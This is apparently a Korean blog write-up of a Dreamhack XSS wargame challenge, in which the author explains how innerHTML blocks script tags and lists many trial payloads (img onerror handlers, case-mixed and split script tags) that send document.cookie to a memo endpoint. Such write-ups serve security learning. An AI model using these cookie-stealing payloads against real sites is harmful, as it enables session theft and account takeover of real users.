호그와트

드림핵 xss-2

영웅*^%&$ 2022. 1. 22. 15:52
728x90

아주 기본적인 문제이다 자 이제 시작해보자

var x=new URLSearchParams(location.search);

document.getElementById('vuln').innerHTML = x.get('param');

아 설마 그 값 자체는 맞는데 innerHTML 자체에서 작동하지 않는 건가? <script> alert(1) </script> 도 문법적으로 완벽한데

param = 위의 값을 넣어도 반응이 없는 것처럼 그런 거 아닐까?

이를 보완하기 위해 HTML5에서는 innerHTML 속성을 통해 삽입된 문자열에 <script> 태그가 있을 경우 실행되지 않도록 처리했지만, 다른 우회적인 경로는 여전히 열려 있다.

아 이제 알겠다 innerHTML로 <script> 태그가 실행되지 않도록 한 거다

우회하는 것이 핵심이 된다 아항

이게 맞는 방향이구나

<img src="#" onmouseover="alert('~~';)">

<img src="A" onmouseover="/memo?memo="+document.cookie;>

<img src='A' onmouseover='/memo?memo='+document.cookie;>

<script>location.href="/memo?memo="+document.cookie;</script>

<img src="z" onerror="document.location.href=document.cookie">

<img src='z' onerror='document.location.href=document.cookie'>

<sCRipT>location.href="/memo?memo="+document.cookie;</scriPT>

역시나 <script>를 우회하는 것이 포인트

<sCrIpt src=location.href="/memo?memo="+document.cookie;></SCRipt>

<sCRipT>location.href='/memo?memo='+document.cookie;</scriPT>

방법은 두 가지 일 수밖에 없지 않나?

1) script를 교묘하게 바꾸어서 원하는 xss 문장을 집어넣거나

->일단 이 경우의 수는 아닌 듯 하다

2) script를 쓰지 않고도 원하는 문장을 집어넣을 수 있는 태그를 사용하거나 대신 현실적으로 한 가지 요소를 더해야겠지

두 가지를 사용했다고 하더라도 문장의 뜻은 맞겠지만 원하는 값이 들어갔는지 그건 확인을 해줘야 겠지 (구체적으로 말해서 따옴표)

지금까지 내 느낌으로는 1)번은 아닌 거 같다 왜냐하면 충분히 우회를 피해갈만한 script를 작성해서

여러 번이나 시도했는데도 불구하고 안 되었기 때문이다

그렇게 열리는 것이 아닌 듯 하다

<P>location.href="/memo?memo="+document.cookie;<P>

<scri<iframe>pt>alert("xss");</scrip<iframe>t>

location.href="/memo?memo="+document.cookie

<scri<iframe>pt>location.href="/memo?memo="+document.cookie;</scrip<iframe>t>

<scri<iframe>pt>location.href="http://127.0.0.1:8000/memo?memo=”+document.cookie;</scrip<iframe>t>

<img src="wrongLocation.jpg" onError="<script>location.href="/memo?memo="+document.cookie;</script>" />

<img src="wrongLocation.jpg" onError="location.href="/memo?memo="+document.cookie;" />

<img src='wrongLocation.jpg' onError="location.href='/memo?memo='+document.cookie;" />

<body topmargin=0 leftmargin=0 onload="document.cookie='<iframe width=100% height=800 src=http://127.0.0.1/memo?memo=></iframe>';">

var inputMarkup = '<img src=about: onerror=alert(document.cookie) />';

{{ document.createElement('img').setAttribute('src', 'http://127.0.0.1/memo?memo=' + document.cookie) }}

<img src="news-1.jpg" alt=location.href="/memo?memo="+document.cookie; />

<img src="/examples/images/img_monalisa.png" alt="모나리자" height="280" width="180" longdesc='location.href="/memo?memo="+document.cookie;'>

<img src="/examples/images/img_monalisa.png" alt="모나리자" height="280" width="180" longdesc=location.href="/memo?memo="+document.cookie;>

<img src="asdf" onerror="alert(location.href="/memo?memo="+document.cookie;)">

<img src="asdf" onerror='alert(location.href="/memo?memo="+document.cookie;)'>

<img src="asdf" onerror='alert(flag.txt)'>

<img src="asdf" onerror='alert(flag.html)'>

<~~~~~~~~~~~~~~~flag~~~~~~~~~~~~~~~~~~>

와 결국 풀기는 풀었다 kimkun이말이 맞았던 것이다 " ' 큰 따옴표냐 작은 따옴표냐 잘 보고 푸는 게 중요한 부분이었다

여태까지 시도했던 것들이 다 아니라고 나왔기 때문에 그 내용을 다시 읽는 건 큰 의미가 없다고 생각했는데 내가 시도했던 payload들을 하나씩 보면서 보다보니 뭔가 각이 나오기 시작했고 따옴표 하나만 조정했는데(정확히) 바로 답이 나왔다

728x90

'호그와트' 카테고리의 다른 글

드림핵 csrf-1  (0) 2022.01.22
드림핵 xss-1  (0) 2022.01.22
드림핵 counting query  (0) 2022.01.22
드림핵 mango를 먹자  (0) 2022.01.22
드림핵 session-basic  (0) 2022.01.22